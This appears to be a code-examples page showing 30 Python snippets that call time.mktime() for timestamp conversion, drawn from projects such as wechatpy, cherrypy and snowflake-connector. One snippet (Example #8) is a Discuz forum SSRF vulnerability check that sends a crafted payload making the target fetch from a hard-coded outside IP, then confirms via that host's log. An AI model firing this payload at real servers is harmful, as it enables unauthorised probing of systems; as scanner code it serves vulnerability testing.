Python time.mktime() Examples
The following are 30
code examples of time.mktime().
You can vote up the ones you like or vote down the ones you don't like,
and go to the original project or source file by following the links above each example.
You may also want to check out all available functions/classes of the module
time
, or try the search function
.

Example #1
Source Project: wechatpy Author: wechatpy File: customservice.py License: MIT License | 7 votes |
def get_records(self, start_time, end_time, msgid=1, number=10000): """ 获取客服聊天记录 :param start_time: 查询开始时间,UNIX 时间戳 :param end_time: 查询结束时间,UNIX 时间戳,每次查询不能跨日查询 :param msgid: 消息id顺序从小到大,从1开始 :param number: 每次获取条数,最多10000条 :return: 返回的 JSON 数据包 """ if isinstance(start_time, datetime.datetime): start_time = time.mktime(start_time.timetuple()) if isinstance(end_time, datetime.datetime): end_time = time.mktime(end_time.timetuple()) record_data = { "starttime": int(start_time), "endtime": int(end_time), "msgid": msgid, "number": number, } res = self._post("https://api.weixin.qq.com/customservice/msgrecord/getmsglist", data=record_data,) return res
Example #2
Source Project: InsightAgent Author: insightfinder File: reportMetrics.py License: Apache License 2.0 | 6 votes |
def update_data_start_time(): if "FileReplay" in parameters['mode'] and reporting_config_vars['prev_endtime'] != "0" and len( reporting_config_vars['prev_endtime']) >= 8: start_time = reporting_config_vars['prev_endtime'] # pad a second after prev_endtime start_time_epoch = 1000 + long(1000 * time.mktime(time.strptime(start_time, "%Y%m%d%H%M%S"))); end_time_epoch = start_time_epoch + 1000 * 60 * reporting_config_vars['reporting_interval'] elif reporting_config_vars['prev_endtime'] != "0": start_time = reporting_config_vars['prev_endtime'] # pad a second after prev_endtime start_time_epoch = 1000 + long(1000 * time.mktime(time.strptime(start_time, "%Y%m%d%H%M%S"))); end_time_epoch = start_time_epoch + 1000 * 60 * reporting_config_vars['reporting_interval'] else: # prev_endtime == 0 end_time_epoch = int(time.time()) * 1000 start_time_epoch = end_time_epoch - 1000 * 60 * reporting_config_vars['reporting_interval'] return start_time_epoch # update prev_endtime in config file
Example #3
Source Project: jawfish Author: war-and-code File: cookies.py License: MIT License | 6 votes |
def morsel_to_cookie(morsel): """Convert a Morsel object into a Cookie containing the one k/v pair.""" expires = None if morsel['max-age']: expires = time.time() + morsel['max-age'] elif morsel['expires']: time_template = '%a, %d-%b-%Y %H:%M:%S GMT' expires = time.mktime( time.strptime(morsel['expires'], time_template)) - time.timezone return create_cookie( comment=morsel['comment'], comment_url=bool(morsel['comment']), discard=False, domain=morsel['domain'], expires=expires, name=morsel.key, path=morsel['path'], port=None, rest={'HttpOnly': morsel['httponly']}, rfc2109=False, secure=bool(morsel['secure']), value=morsel.value, version=morsel['version'] or 0, )
Example #4
Source Project: PT-help Author: Rhilip File: backtracking.py License: MIT License | 6 votes |
def backtracking_id(site): cookies = cookies_raw2jar(site['cookies']) for _tid in range(site['start_torrent'], site['end_torrent'] + 2): t0 = time.time() _link = site['torrent_url'].format(_tid) torrent_page = requests.get(_link, cookies=cookies, headers=headers) title_search = re.search(site['search_ptn'], torrent_page.text) if title_search: _title = pymysql.escape_string(unescape(title_search.group("title"))) pubDate = re.search("发布于(.+?)<", torrent_page.text).group(1) _timestamp = time.mktime(time.strptime(pubDate, "%Y-%m-%d %H:%M:%S")) wrap_insert(site=site['name'], sid=_tid, title=_title, link=_link, pubdate=_timestamp, t=t0) else: print("ID: {}, Cost: {:.5f} s, No torrent.".format(_tid, time.time() - t0)) time.sleep(2)
Example #5
Source Project: snowflake-connector-python Author: snowflakedb File: test_dbapi.py License: Apache License 2.0 | 6 votes |
def test_Date(): d1 = snowflake.connector.dbapi.Date( 2002, 12, 25) d2 = snowflake.connector.dbapi.DateFromTicks( time.mktime(( 2002, 12, 25, 0, 0, 0, 0, 0, 0))) # API doesn't specify, but it seems to be implied assert str(d1) == str(d2)
Example #6
Source Project: snowflake-connector-python Author: snowflakedb File: test_dbapi.py License: Apache License 2.0 | 6 votes |
def test_Timestamp(): t1 = snowflake.connector.dbapi.Timestamp( 2002, 12, 25, 13, 45, 30) t2 = snowflake.connector.dbapi.TimestampFromTicks( time.mktime( ( 2002, 12, 25, 13, 45, 30, 0, 0, 0)) ) # API doesn't specify, but it seems to be implied assert str(t1) == str(t2)
Example #7
Source Project: snowflake-connector-python Author: snowflakedb File: test_dbapi.py License: Apache License 2.0 | 6 votes |
def test_Timestamp(): t1 = snowflake.connector.dbapi.Timestamp( 2002, 12, 25, 13, 45, 30) t2 = snowflake.connector.dbapi.TimestampFromTicks( time.mktime( ( 2002, 12, 25, 13, 45, 30, 0, 0, 0)) ) # API doesn't specify, but it seems to be implied assert str(t1) == str(t2)
Example #8
Source Project: xunfeng_vul_poc Author: muYoz File: discuz_SSRF.py License: GNU General Public License v3.0 | 6 votes |
def check(ip, port, timeout=10): url = ip + ':' + port headers = { "User-Agent": "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50", } time_stamp = time.mktime(datetime.datetime.now().timetuple()) m = hashlib.md5(str(time_stamp).encode(encoding='utf-8')) md5_str = m.hexdigest() payload = "/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://45.76.158.91:6868/" + md5_str + ".jpg[/img]&formhash=09cec465" vulnurl = url + payload try: req = requests.get(vulnurl, headers=headers, timeout=10, verify=False) eye_url = "http://45.76.158.91/web.log" time.sleep(6) reqr = requests.get(eye_url, timeout=timeout, verify=False) if md5_str in reqr.text: return u"存在discuz论坛forum.php参数message SSRF漏洞" except: pass
Example #9
Source Project: GithubMonitor Author: Macr0phag3 File: mysqlite.py License: MIT License | 6 votes |
def _get_hour(): ''' 返回上个小时的时间戳 假如现在是 2018.11.21 19:44:02, 那么返回 '1542794400' 即 2018.11.21 18:00:00 的时间戳 返回值: 字符串;上个小时的时间戳 ''' return int( time.mktime( time.strptime( time.strftime("%Y-%m-%d %H"), "%Y-%m-%d %H") ) )-3600
Example #10
Source Project: moler Author: nokia File: test_loggers.py License: BSD 3-Clause "New" or "Revised" License | 6 votes |
def test_multiline_formatter_puts_message_lines_into_data_area(): """ We want logs to look like: 01 19:36:09.823 |This is |multiline |content """ from moler.config.loggers import MultilineWithDirectionFormatter formatter = MultilineWithDirectionFormatter(fmt="%(asctime)s.%(msecs)03d |%(message)s", datefmt="%d %H:%M:%S") tm_struct = time.strptime("2000-01-01 19:36:09", "%Y-%m-%d %H:%M:%S") epoch_tm = time.mktime(tm_struct) logging_time = epoch_tm log_rec = logging.makeLogRecord({'msg': "This is\nmultiline\ncontent", 'created': logging_time, 'msecs': 823}) output = formatter.format(log_rec) assert output == "01 19:36:09.823 |This is\n" \ " |multiline\n" \ " |content"
Example #11
Source Project: vulscan Author: vulscanteam File: cookies.py License: MIT License | 6 votes |
def morsel_to_cookie(morsel): """Convert a Morsel object into a Cookie containing the one k/v pair.""" expires = None if morsel['max-age']: expires = time.time() + morsel['max-age'] elif morsel['expires']: time_template = '%a, %d-%b-%Y %H:%M:%S GMT' expires = time.mktime( time.strptime(morsel['expires'], time_template)) - time.timezone return create_cookie( comment=morsel['comment'], comment_url=bool(morsel['comment']), discard=False, domain=morsel['domain'], expires=expires, name=morsel.key, path=morsel['path'], port=None, rest={'HttpOnly': morsel['httponly']}, rfc2109=False, secure=bool(morsel['secure']), value=morsel.value, version=morsel['version'] or 0, )
Example #12
Source Project: aegea Author: kislyuk File: compat.py License: Apache License 2.0 | 5 votes |
def timestamp(dt): if dt.tzinfo is None: from time import mktime return mktime((dt.year, dt.month, dt.day, dt.hour, dt.minute, dt.second, -1, -1, -1)) + dt.microsecond / 1e6 else: from dateutil.tz import tzutc return (dt - datetime.datetime(1970, 1, 1, tzinfo=tzutc())).total_seconds()
Example #13
Source Project: wechatpy Author: wechatpy File: fields.py License: MIT License | 5 votes |
def to_xml(self, value): value = time.mktime(datetime.timetuple(value)) value = int(value) return f"<{self.name}>{value}</{self.name}>"
Example #14
Source Project: wechatpy Author: wechatpy File: shakearound.py License: MIT License | 5 votes |
def _to_timestamp(cls, date): if isinstance(date, str): date = datetime.strptime(date, "%Y-%m-%d %H:%M:%S") if isinstance(date, datetime): timestamp = int(time.mktime(date.timetuple())) return timestamp return int(date)
Example #15
Source Project: cherrypy Author: cherrypy File: sessions.py License: BSD 3-Clause "New" or "Revised" License | 5 votes |
def _save(self, expiration_time): # Send the expiration time as "Unix time" (seconds since 1/1/1970) td = int(time.mktime(expiration_time.timetuple())) self.mc_lock.acquire() try: if not self.cache.set(self.id, (self._data, expiration_time), td): raise AssertionError( 'Session data for id %r not set.' % self.id) finally: self.mc_lock.release()
Example #16
Source Project: Flask-pyoidc Author: zamzterz File: test_flask_pyoidc.py License: Apache License 2.0 | 5 votes |
def test_session_expiration_set_to_configured_lifetime(self, time_mock, utc_time_sans_frac_mock): timestamp = time.mktime(datetime(2017, 1, 1).timetuple()) time_mock.return_value = timestamp utc_time_sans_frac_mock.return_value = int(timestamp) exp_time = 10 state = 'test_state' nonce = 'test_nonce' id_token = IdToken(iss=self.PROVIDER_BASEURL, aud=self.CLIENT_ID, sub='sub1', exp=int(timestamp) + exp_time, iat=int(timestamp), nonce=nonce) token_response = {'access_token': 'test', 'token_type': 'Bearer', 'id_token': id_token.to_jwt()} token_endpoint = self.PROVIDER_BASEURL + '/token' responses.add(responses.POST, token_endpoint, json=token_response) session_lifetime = 1234 self.app.config['PERMANENT_SESSION_LIFETIME'] = session_lifetime self.init_app(provider_metadata_extras={'token_endpoint': token_endpoint}) with self.app.test_client() as client: with client.session_transaction() as session: UserSession(session, self.PROVIDER_NAME) session['destination'] = '/' session['state'] = state session['nonce'] = nonce resp = client.get('/redirect_uri?state={}&code=test'.format(state)) cookies = SimpleCookie() cookies.load(resp.headers['Set-Cookie']) session_cookie_expiration = cookies[self.app.config['SESSION_COOKIE_NAME']]['expires'] parsed_expiration = datetime.strptime(session_cookie_expiration, '%a, %d-%b-%Y %H:%M:%S GMT') cookie_lifetime = (parsed_expiration - datetime.utcnow()).total_seconds() assert cookie_lifetime == pytest.approx(session_lifetime, abs=1)
Example #17
Source Project: zmirror Author: aploium File: cache_system.py License: MIT License | 5 votes |
def _time_str_to_unix(timestring): """ :type timestring: Union[str, int] :rtype: Union[int, None] """ if isinstance(timestring, (int, float)): return timestring try: t = int(time.mktime(datetime.strptime(timestring, '%a, %d %b %Y %H:%M:%S %Z').timetuple())) except: t = None return t
Example #18
Source Project: InsightAgent Author: insightfinder File: getmetrics_nfdump.py License: Apache License 2.0 | 5 votes |
def updateDataStartTime(): if reportingConfigVars['prev_endtime'] != "0": startTime = reportingConfigVars['prev_endtime'] # pad a second after prev_endtime startTimeEpoch = 1000 + long(1000 * time.mktime(time.strptime(startTime, "%Y%m%d%H%M%S"))); end_time_epoch = startTimeEpoch + 1000 * 60 * reportingConfigVars['reporting_interval'] else: # prev_endtime == 0 end_time_epoch = int(time.time()) * 1000 startTimeEpoch = end_time_epoch - 1000 * 60 * reportingConfigVars['reporting_interval'] return startTimeEpoch
Example #19
Source Project: InsightAgent Author: insightfinder File: collectdReportMetrics.py License: Apache License 2.0 | 5 votes |
def set_epoch_time(reporting_interval_l, prev_endtime_l): if prev_endtime_l != "0": start_time = prev_endtime_l # pad a second after prev_end_time start_time_epoch_l = 1000 + long(1000 * time.mktime(time.strptime(start_time, "%Y%m%d%H%M%S"))) # end_time_epoch = start_time_epoch_l + 1000 * 60 * reporting_interval_l start_time_epoch_l = start_time_epoch_l / 1000 else: # prev_endtime == 0 end_time_epoch = int(time.time()) * 1000 start_time_epoch_l = end_time_epoch - 1000 * 60 * reporting_interval_l start_time_epoch_l = start_time_epoch_l / 1000 return reporting_interval_l, start_time_epoch_l, prev_endtime_l # update prev_endtime in config file
Example #20
Source Project: quart Author: pgjones File: __init__.py License: MIT License | 5 votes |
def default(self, object_: Any) -> Any: if isinstance(object_, date): return formatdate(timeval=mktime((object_.timetuple())), localtime=False, usegmt=True) if isinstance(object_, UUID): return str(object_) if hasattr(object_, "__html__"): return str(object_.__html__()) return super().default(object_)
Example #21
Source Project: Mondrian Author: qiyuangong File: utility.py License: MIT License | 5 votes |
def value(x): '''Return the numeric type that supports addition and subtraction''' if isinstance(x, (int, float)): return float(x) elif isinstance(x, datetime): return time.mktime(x.timetuple()) # return x.timestamp() # not supported by python 2.7 else: try: return float(x) except Exception as e: return x
Example #22
Source Project: Andromeda Author: liucaide File: cd_tools.py License: MIT License | 5 votes |
def cd_time_to_timestamp(date, strftime="%Y-%m-%d %H:%M:%S"): """ :param date: 时间来源 :param strftime: 时间格式 :return: 根据时间格式返回格式化输入时间date """ return time.mktime(time.strptime(date,strftime))
Example #23
Source Project: ffplayout-engine Author: ffplayout File: playlist.py License: GNU General Public License v3.0 | 5 votes |
def get_playlist(self): if stdin_args.playlist: self.json_file = stdin_args.playlist else: year, month, day = self.list_date.split('-') self.json_file = os.path.join( _playlist.path, year, month, self.list_date + '.json') if '://' in self.json_file: self.json_file = self.json_file.replace('\\', '/') try: req = request.urlopen(self.json_file, timeout=1, context=ssl._create_unverified_context()) b_time = req.headers['last-modified'] temp_time = time.strptime(b_time, "%a, %d %b %Y %H:%M:%S %Z") mod_time = time.mktime(temp_time) if mod_time > self.last_mod_time: self.clip_nodes = valid_json(req) self.last_mod_time = mod_time messenger.info('Open: ' + self.json_file) validate_thread(self.clip_nodes) except (request.URLError, socket.timeout): self.eof_handling('Get playlist from url failed!', False) elif os.path.isfile(self.json_file): # check last modification from playlist mod_time = os.path.getmtime(self.json_file) if mod_time > self.last_mod_time: with open(self.json_file, 'r', encoding='utf-8') as f: self.clip_nodes = valid_json(f) self.last_mod_time = mod_time messenger.info('Open: ' + self.json_file) validate_thread(self.clip_nodes) else: self.clip_nodes = None
Example #24
Source Project: jawfish Author: war-and-code File: datetime.py License: MIT License | 5 votes |
def timestamp(self): "Return POSIX timestamp as float" if self._tzinfo is None: return _time.mktime((self.year, self.month, self.day, self.hour, self.minute, self.second, -1, -1, -1)) + self.microsecond / 1e6 else: return (self - _EPOCH).total_seconds()
Example #25
Source Project: suncalcPy Author: Broham File: suncalc.py License: MIT License | 5 votes |
def toJulian(date): return (time.mktime(date.timetuple()) * 1000) / dayMs - 0.5 + J1970
Example #26
Source Project: worker Author: moira-alert File: functions.py License: GNU General Public License v3.0 | 5 votes |
def timeSlice(requestContext, seriesList, startSliceAt, endSliceAt="now"): """ Takes one metric or a wildcard metric, followed by a quoted string with the time to start the line and another quoted string with the time to end the line. The start and end times are inclusive. See ``from / until`` in the render\_api_ for examples of time formats. Useful for filtering out a part of a series of data from a wider range of data. Example: .. code-block:: none &target=timeSlice(network.core.port1,"00:00 20140101","11:59 20140630") &target=timeSlice(network.core.port1,"12:00 20140630","now") """ yield defer.succeed(None) results = [] start = time.mktime(parseATTime(startSliceAt).timetuple()) end = time.mktime(parseATTime(endSliceAt).timetuple()) for slicedSeries in seriesList: slicedSeries.name = 'timeSlice(%s, %s, %s)' % ( slicedSeries.name, int(start), int(end)) curr = time.mktime(requestContext["startTime"].timetuple()) for i, v in enumerate(slicedSeries): if v is None or curr < start or curr > end: slicedSeries[i] = None curr += slicedSeries.step results.append(slicedSeries) returnValue(results)
Example #27
Source Project: worker Author: moira-alert File: functions.py License: GNU General Public License v3.0 | 5 votes |
def timeFunction(requestContext, name, step=60): """ Short Alias: time() Just returns the timestamp for each X value. T Example: .. code-block:: none &target=time("The.time.series") This would create a series named "The.time.series" that contains in Y the same value (in seconds) as X. Accepts optional second argument as 'step' parameter (default step is 60 sec) """ yield defer.succeed(None) delta = timedelta(seconds=step) when = requestContext["startTime"] values = [] while when < requestContext["endTime"]: values.append(time.mktime(when.timetuple())) when += delta series = TimeSeries( name, int( time.mktime( requestContext["startTime"].timetuple())), int( time.mktime( requestContext["endTime"].timetuple())), step, values) series.pathExpression = name returnValue([series])
Example #28
Source Project: worker Author: moira-alert File: functions.py License: GNU General Public License v3.0 | 5 votes |
def sinFunction(requestContext, name, amplitude=1, step=60): """ Short Alias: sin() Just returns the sine of the current time. The optional amplitude parameter changes the amplitude of the wave. Example: .. code-block:: none &target=sin("The.time.series", 2) This would create a series named "The.time.series" that contains sin(x)*2. Accepts optional second argument as 'amplitude' parameter (default amplitude is 1) Accepts optional third argument as 'step' parameter (default step is 60 sec) """ yield defer.succeed(None) delta = timedelta(seconds=step) when = requestContext["startTime"] values = [] while when < requestContext["endTime"]: values.append(math.sin(time.mktime(when.timetuple())) * amplitude) when += delta returnValue([TimeSeries(name, int(epoch(requestContext["startTime"])), int(epoch(requestContext["endTime"])), step, values)])
Example #29
Source Project: gist-alfred Author: danielecook File: retry.py License: MIT License | 5 votes |
def parse_retry_after(self, retry_after): # Whitespace: https://tools.ietf.org/html/rfc7230#section-3.2.4 if re.match(r"^\s*[0-9]+\s*$", retry_after): seconds = int(retry_after) else: retry_date_tuple = email.utils.parsedate(retry_after) if retry_date_tuple is None: raise InvalidHeader("Invalid Retry-After header: %s" % retry_after) retry_date = time.mktime(retry_date_tuple) seconds = retry_date - time.time() if seconds < 0: seconds = 0 return seconds
Example #30
Source Project: verge3d-blender-addon Author: Soft8Soft File: utils.py License: GNU General Public License v3.0 | 5 votes |
def localtime(dt=None, isdst=-1): """Return local time as an aware datetime object. If called without arguments, return current time. Otherwise *dt* argument should be a datetime instance, and it is converted to the local time zone according to the system time zone database. If *dt* is naive (that is, dt.tzinfo is None), it is assumed to be in local time. In this case, a positive or zero value for *isdst* causes localtime to presume initially that summer time (for example, Daylight Saving Time) is or is not (respectively) in effect for the specified time. A negative value for *isdst* causes the localtime() function to attempt to divine whether summer time is in effect for the specified time. """ if dt is None: return datetime.datetime.now(datetime.timezone.utc).astimezone() if dt.tzinfo is not None: return dt.astimezone() # We have a naive datetime. Convert to a (localtime) timetuple and pass to # system mktime together with the isdst hint. System mktime will return # seconds since epoch. tm = dt.timetuple()[:-1] + (isdst,) seconds = time.mktime(tm) localtm = time.localtime(seconds) try: delta = datetime.timedelta(seconds=localtm.tm_gmtoff) tz = datetime.timezone(delta, localtm.tm_zone) except AttributeError: # Compute UTC offset and compare with the value implied by tm_isdst. # If the values match, use the zone name implied by tm_isdst. delta = dt - datetime.datetime(*time.gmtime(seconds)[:6]) dst = time.daylight and localtm.tm_isdst > 0 gmtoff = -(time.altzone if dst else time.timezone) if delta == datetime.timedelta(seconds=gmtoff): tz = datetime.timezone(delta, time.tzname[dst]) else: tz = datetime.timezone(delta) return dt.replace(tzinfo=tz)